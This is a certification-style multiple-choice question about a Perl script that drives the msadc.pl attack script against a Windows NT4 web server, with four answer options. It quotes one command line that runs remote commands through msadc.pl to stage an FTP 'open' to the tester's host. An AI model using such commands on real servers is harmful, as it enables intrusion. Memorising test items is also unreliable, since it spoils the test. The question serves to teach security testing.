A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows
NT4 web server. While it is effective, the tester finds it tedious to perform extended functions.
On further research, the tester come across a perl script that runs the following msadc
functions:system(“perl msadc.pl -h $host -C \”echo open $your >testfile\””);

Which exploit is indicated by this script?

A.
A buffer overflow exploit

B.
A chained exploit

C.
A SQL injection exploit

D.
A denial of service exploit